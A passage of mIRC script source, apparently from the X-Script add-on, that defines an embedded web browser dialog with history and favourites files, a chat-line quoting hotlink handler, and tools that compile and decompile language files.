  did -a $dname 3 5 $chr(9) $+ $lng(core,browse5)
  did -a $dname 3 7 $chr(9) $+ $lng(core,browse6)
  did -a $dname 3 -
  did -a $dname 3 8 $chr(9) $+ $lng(core,browse7)
  did -a $dname 3 6 $chr(9) $+ $lng(core,browse8)

  did -i $dname 7 1 bmpsize 16 16
  did -i $dname 7 1 setimage icon small 67, $+ $icl
  did -a $dname 7 1 $chr(9) $+ $lng(core,go)

  mdx SetControlMDX $dname 6 positioner size > $dialogs
  mdx SetControlMDX $dname 8 StatusBar sizeGrip > $bars
  did -i $dname 8 1 setparts -1

  mdx SetBorderStyle $dname 2 staticedge
  dialog -r $dname $dname
  dll $xdir(dll,nHTMLn.dll) attach $dll($xdir(dll,nHTMLn.dll),item,$dialog($dname).hwnd id:2)

  addhistory
}
ON *:dialog:x_online:sclick:*: {
  if ($did == 3) {
    if ($did($dname,3).sel == 2) { dll $xdir(dll,nHTMLn.dll) back 0 }
    elseif ($did($dname,$did).sel == 3) { dll $xdir(dll,nHTMLn.dll) forward 0 }
    elseif ($did($dname,$did).sel == 5) { dll $xdir(dll,nHTMLn.dll) stop 0 }
    elseif ($did($dname,$did).sel == 6) { dll $xdir(dll,nHTMLn.dll) refresh 0 }
    elseif ($did($dname,$did).sel == 8) {
      if ($parser($xr(Browser,homepage))) {
        var %site = $v1
        dll $xdir(dll,nHTMLn.dll) navigate %site
      }
      else { dll $xdir(dll,nHTMLn.dll) navigate $site1 }
    }
    elseif ($did($dname,$did).sel == 9) { dll $xdir(dll,nHTMLn.dll) print 0 }
    elseif ($did($dname,$did).sel == 11) { dialog -ma webfavorites webfavorites }
    elseif ($did($dname,$did).sel == 12) { clearhistory }
  }
  if ($did == 11) {
    writehistory
  }
  if ($did == 9) {
    if ($did($dname,9)) {
      dll $xdir(dll,nHTMLn.dll) navigate $did($dname,9)
    }
  }
  if ($did == 7) {
    if ($did($dname,7).sel == 2) {
      if ($did($dname,9)) {
        writehistory
      }
    }
  }
  if ($did == 6) {
    if ($gettok($did($dname,6),1,32) == sizing) {
      if ($gettok($did($dname,6),5,32) < 500) { did -a $dname 6 setsize c $v2 * }
      if ($gettok($did($dname,6),6,32) < 310) { did -a $dname 6 setsize c * $v2 }
    }
    mdx MoveControl $dname 1 * * $calc($dialog($dname).cw + 4) *
    mdx MoveControl $dname 8 * $calc($dialog($dname).ch - 22) $dialog($dname).cw *
    mdx MoveControl $dname 2 * * $dialog($dname).cw $calc($dialog($dname).ch - 100)
  }
}
ON *:dialog:x_online:close:*: {
  xw Browser BrowserW $dialog(x_online).cw
  xw Browser BrowserH $dialog(x_online).ch

  dll -u $xdir(dll,nHTMLn.dll)
}

alias -l addhistory {
  did -r x_online 9
  var %file = Settings\ScriptData\Different\WebHistory.txt
  if (!$isfile(%file)) { .write -c $+(",$mircdir,%file,") }

  var %i = $lines(%file)
  while (%i >= 1) {
    did -a x_online 9 $read(%file,%i)
    dec %i
  }
}
alias -l writehistory {
  var %i = 1,%file = Settings\ScriptData\Different\WebHistory.txt
  while (%i <= $lines(%file)) {
    if ($read(%file,%i) == $did(x_online,9)) { .write -dl $+ %i $+(",$mircdir,%file,") | break }
    inc %i
  }
  .write $+(",$mircdir,%file,") $did(x_online,9)
  addhistory
  did -c x_online 9 1
  dll $xdir(dll,nHTMLn.dll) navigate $did(x_online,9)
}
alias -l clearhistory {
  .write -c $+(",$mircdir,Settings\ScriptData\Different\WebHistory.txt,")
  addhistory
}

dialog webfavorites {
  title ""
  size -1 -1 136 143
  option dbu
  icon $icl $+, 155

  text "", 997, 1 1 134 22
  list 1, 1 1 25 18, disable size

  box "", 2, 2 22 132 107
  text "", 3, 5 29 35 8
  edit "", 4, 41 28 91 10, autohs
  list 5, 4 40 128 87, size

  button "", 6, 2 130 37 12, ok
  button "", 7, 59 130 37 12
  button "", 8, 97 130 37 12

  text "", 998, 0 0 0 0
  text "", 999, 0 0 0 0
}

ON *:dialog:webfavorites:init:*: {
  mdxload
  transparent

  dialog -t $dname $lng(core,webfav)
  lang 6 $lng(common,done)
  lang 7 $lng(common,add)
  lang 8 $lng(common,remove)

  lang 3 $lng(core,webstart)

  barmdx 1 155
  lang 998 $lng(core,webfav)
  lang 999 - $lng(core,fav_desc)

  mdx SetControlMDX $dname 5 Listview noheader single report rowselect > $views
  did -i $dname 5 1 headerdims 230
  mdxlist 5  

  if ($xr(Browser,homepage)) { did -o $dname 4 1 $v1 }

  loadfavs
}
ON *:dialog:webfavorites:sclick:*: {
  if ($did == 6) {
    if ($did($dname,4)) { xw Browser homepage $v1 }
  }
  if ($did == 7) {
    var %input = $$?=" $lng(core,newfav) "
    if (%input) {
      .write $+(",$mircdir,Settings\ScriptData\Different\Favourites.txt,") %input
      loadfavs
    }
  }
  if ($did == 8) {
    var %sel = $calc($did($dname,5).sel - 1)
    if (%sel >= 1) {
      .write -dl $+ %sel $+(",$mircdir,Settings\ScriptData\Different\Favourites.txt,")
      loadfavs
    }
  }
}
ON *:dialog:webfavorites:dclick:*: {
  if ($did == 5) {
    var %sel = $calc($did($dname,5).sel - 1)
    if ((%sel >= 1) && ($dialog(x_online))) {
      dll $xdir(dll,nHTMLn.dll) navigate $read(Settings\ScriptData\Different\Favourites.txt,%sel)
    }
  }
}

alias -l loadfavs {
  did -r $dname 5

  var %file = Settings\ScriptData\Different\Favourites.txt
  if (!$isfile(%file)) { .write -c $+(",$mircdir,%file,") }

  var %i = 1
  while (%i <= $lines(%file)) {
    did -a $dname 5 $read(%file,%i)
    inc %i
  }
}
;-------------------------------------------------
;   [[X-Script quoting script)]]
;-------------------------------------------------
ON ^1:HOTLINK:*~*:*: {
  var %timestamp = $gettok($readini($mircini,options,n4),12,44)
  if (%timestamp == 1) {
    if ($gettok($hotline,2,32) == $1) {
      set %quotelink 1
    }
    else { halt }
  }
  else {
    if ($gettok($hotline,1,32) == $1) {
      set %quotelink 1
    }
    else { halt }
  }
}
ON 1:HOTLINK:*~*:*: {
  var %timestamp = $gettok($readini($mircini,options,n4),12,44)
  if (%timestamp == 1) {
    if ((%quotelink == 1) && ($gettok($hotline,2,32) == $1))  {
      editbox -p $strip($+(",$gettok($hotline,4-,32),",$chr(44)))
      unset %quotelink
    }
  }
  else {
    if ((%quotelink == 1) && ($gettok($hotline,1,32) == $1)) {
      editbox -p $strip($+(",$gettok($hotline,3-,32),",$chr(44)))
      unset %quotelink
    }
  }
}
ON ^1:HOTLINK:*&*:*: {
  var %timestamp = $gettok($readini($mircini,options,n4),12,44)
  if (%timestamp == 1) {
    if ($gettok($hotline,2,32) == $1) {
      set %quotelink 1
    }
    else { halt }
  }
  else {
    if ($gettok($hotline,1,32) == $1) {
      set %quotelink 1
    }
    else { halt }
  }
}
ON 1:HOTLINK:*&*:*: {
  var %timestamp = $gettok($readini($mircini,options,n4),12,44)
  if (%timestamp == 1) {
    if ((%quotelink == 1) && ($gettok($hotline,2,32) == $1))  {
      editbox -p $strip($+(",$gettok($hotline,5-,32),",$chr(44)))
      unset %quotelink
    }
  }
  else {
    if ((%quotelink == 1) && ($gettok($hotline,1,32) == $1)) {
      editbox -p $strip($+(",$gettok($hotline,4-,32),",$chr(44)))
      unset %quotelink
    }
  }
}
;-------------------------------------------------
;   [[X-Script core development tools
;-------------------------------------------------
alias lngmake {
  var %file = $sfile(C:\,Choose language ini to compile,Select)
  if ($isfile(%file)) {
    var %i = 1, %topics = $ini(%file,0)
    hmake lng_maker 200

    while (%i <= %topics) {
      var %topic = $ini(%file,%i)
      var %items = $ini(%file,%topic,0), %y = 0
      while (%y <= %items) {
        var %item = $ini(%file,%topic,%y)
        var %tag = $+(%topic,_,%item)

        hadd lng_maker $eval(%tag,1) $readini(%file,%topic,%item)
        inc %y
      }
      inc %i
    }

    hsave -o lng_maker $+(",$replace(%file,$nopath(%file),language.hsh),")
    hfree lng_maker
  }
}
alias lngsource {
  var %file = $sfile(C:\,Choose language hsh to decompile,Select)
  if ($isfile(%file)) {
    hmake lng_maker 200
    hload lng_maker $+(",%file,")

    var %ini-file = $replace(%file,$nopath(%file),language-decompiled.ini)
    .write -c $+(",%ini-file,")

    var %i = 1, %items = $hget(lng_maker,0).item
    while (%i <= %items) {
      var %item = $hget(lng_maker,%i).item
      var %data = $hget(lng_maker,%item)

      var %ini_section = $gettok(%item,1,95)
      var %ini_item = $gettok(%item,2,95)

      if (%ini_section && %ini_item && %data) { writeini $+(",%ini-file,") %ini_section %ini_item %data }
      inc %i
    }

    hfree lng_maker
  }
}